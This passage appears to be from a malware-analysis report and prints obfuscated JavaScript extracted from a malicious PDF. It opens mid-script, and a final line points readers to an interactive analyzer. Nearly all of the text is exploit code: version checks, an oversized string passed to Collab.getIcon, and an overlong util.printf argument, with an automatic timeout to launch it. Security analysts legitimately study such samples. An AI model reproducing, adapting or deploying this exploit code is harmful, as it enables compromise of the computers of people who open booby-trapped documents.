8.104) \|\| (QU9dN1NmRP >= 9 && QU9dN1NmRP < 9.1) \|\| QU9dN1NmRP <= 7.101) { try { if(app.doc.Collab.getIcon) { P4aVoYsDQv(2); var L4cO0fC33K = unescape(" "); while(L4cO0fC33K.length < 0x4000) { L4cO0fC33K += L4cO0fC33K; } L4cO0fC33K = "N." + L4cO0fC33K; var aKJmUNWPrn = app; aKJmUNWPrn["doc"]["Collab"]["getIcon"](L4cO0fC33K); dNr5ClQWAn = 1; } else { dNr5ClQWAn = 1; } } catch(e) { dNr5ClQWAn = 1; } if(dNr5ClQWAn == 1) { if(QU9dN1NmRP == 8.102 \|\| QU9dN1NmRP == 7.1) { P4aVoYsDQv(1); var t0d6Z841xn = "12999999999999999999"; for(IErVc1Ap4C = 0; IErVc1Ap4C < 276; IErVc1Ap4C++) { t0d6Z841xn += "8"; } var UHXS42qaRh = util; UHXS42qaRh["printf"]("E000f", t0d6Z841xn); } } } } ")); app.uxr23R97R7 = thmIhoKIGv; r04Iza4ZIL = app.setTimeOut("app.uxr23R97R7()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.